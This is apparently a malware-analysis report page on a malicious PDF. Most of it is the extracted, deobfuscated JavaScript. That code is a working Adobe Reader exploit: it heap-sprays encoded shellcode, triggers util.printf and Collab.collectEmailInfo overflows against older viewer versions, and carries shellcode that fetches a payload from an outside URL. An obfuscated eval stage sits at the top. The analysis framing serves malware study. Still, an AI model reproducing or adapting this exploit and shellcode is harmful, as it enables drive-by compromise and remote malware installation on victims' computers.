xKUjJnM1NrUjVYelJBYzNKM1NuRnlUVXBWYjFwQmNGbGFNVlZFU2xJNE1GZFdPRkEwVUhGWVdqSnhiMXBRUjBGd1FVZEVTbEk0TUZkV09GQTBXbkZZV25aSFFVUlJSMWxwZG5ORVNsSTRNRmRXT0ZBMFVIRllXblpIZVVSUlZsbGFkbXBtV2pGdk4yd3hXbkJSYmxsWVJHVnplVTB5UjBSRlNuQkJjRXB2TjJ3eFduQlJibGxQUkdWeldVMUtObkpKU2tCbWFVcFZSRXBTT0RCWFZqaFFORWx4V0ZwMlIwUkZVVlpaV25oemVYTm1ZbVJUY0ZsSlFYSkJRMUZOVlhsSmVFZEJWMHd3Wmxwc2VVSTBZMEZrYkZobk1FUkpiemRhTWtkNVYwNUlXa0ZzVGpkQmFUaEJXbWs1WmtSc2MwVXdhVGxtUkd4elJUQXdWa1JUU2tWbVNsRnFRbXd4VjFwTWJUaEpjMmxPWkVwYVIwVktUa0JDYkU1RU4xY3hjMWxOU25odlJXRTVWMFJSUjBRd05tZFlNV1pJUW5OUk1HOUVSM05FU1RKSFJEQTJaMWd4WmtoQ2MxRXdiMFJIV1c5YVV6aENTbkJDUkRBMmFqZE1UREJhVGxONU1FRnBjM2xOU2xkSlREUnFRakF3UWtRd05tbzNUR2xCTjFkMFlrSXdVV3BDTVU1YVdrd3hiM0JCVFRBd1NtaEhRVm93UUhsTWNFUXdVMHBYV2t4dE9FbHphVTVrU2xwSFJVb3laMFJUU25GbVdqSnpXVFkwYzBOTWRUaGtRVUY1U2tWVFdsaEpVVzl2V2pKaUp5azc=");
                kR0vR4eqsbOad=DaKaKxhCoQY0(zc8rqjLLd45R);
                eval(kR0vR4eqsbOad);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x1173 4531 bytes
SHA-256: 3ccf71370d7a298970f9f0e1e238494ede120c81766d2d35cb8f1139c0ab072c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Ua7ZKzL=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var Xi5B4MW=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+Ua7ZKzL.length;while(Xi5B4MW.length<fg)Xi5B4MW+=Xi5B4MW;var nmbr=Xi5B4MW.substring(0,fg);var stig=Xi5B4MW.substring(0,Xi5B4MW.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+Ua7ZKzL}var J6JoVXCdVu16g4="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",J6JoVXCdVu16g4);function ARhlwEyZjsZpZd() { var VL5xPRUrf6xE = new Array(); function Qanu2VgykeXUX8(rlKs7P, RqKNWPKkpH) { while (rlKs7P.length*2<RqKNWPKkpH){rlKs7P += rlKs7P;} rlKs7P = rlKs7P.substring(0,RqKNWPKkpH/2); return rlKs7P; } function ACM9sKsWsM5() { var nAl13sPsOFD = 0x0c0c0c0c; var dd7WSOr5aECS = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var bED8H6 = 0x400000; var ATmNFY = dd7WSOr5aECS.length * 2; var RqKNWPKkpH = bED8H6 - (ATmNFY+0x38); var rlKs7P = unescape("%u9090%u9090"); rlKs7P = Qanu2VgykeXUX8(rlKs7P, RqKNWPKkpH); var n6TkxXKB = (nAl13sPsOFD - 0x400000)/bED8H6; for (var XzRR4=0;XzRR4<n6TkxXKB;XzRR4++) { VL5xPRUrf6xE[XzRR4] = rlKs7P + dd7WSOr5aECS; } } function TlpmDHqfO6tV() { var x3XSpvhOw4TPnR = app.viewerVersion.toString(); x3XSpvhOw4TPnR = x3XSpvhOw4TPnR.replace(/\D/g,""); var kdhvOX = new Array(x3XSpvhOw4TPnR.charAt(0),x3XSpvhOw4TPnR.charAt(1),x3XSpvhOw4TPnR.charAt(2)); if ((kdhvOX[0] == 8 && ((kdhvOX[1] == 1 && kdhvOX[2] < 2) || kdhvOX[1] < 1)) || (kdhvOX[0] == 7 && kdhvOX[1] < 1) || (kdhvOX[0] < 7)) { ACM9sKsWsM5(); var coYHCeAi20k = unescape("%u0c0c%u0c0c"); while(coYHCeAi20k.length < 44952) coYHCeAi20k += coYHCeAi20k; this.collabStore = Collab.collectEmailInfo({subj: "",msg: coYHCeAi20k}); } } TlpmDHqfO6tV(); }

Open this report in the interactive analyzer, or submit your own file for analysis.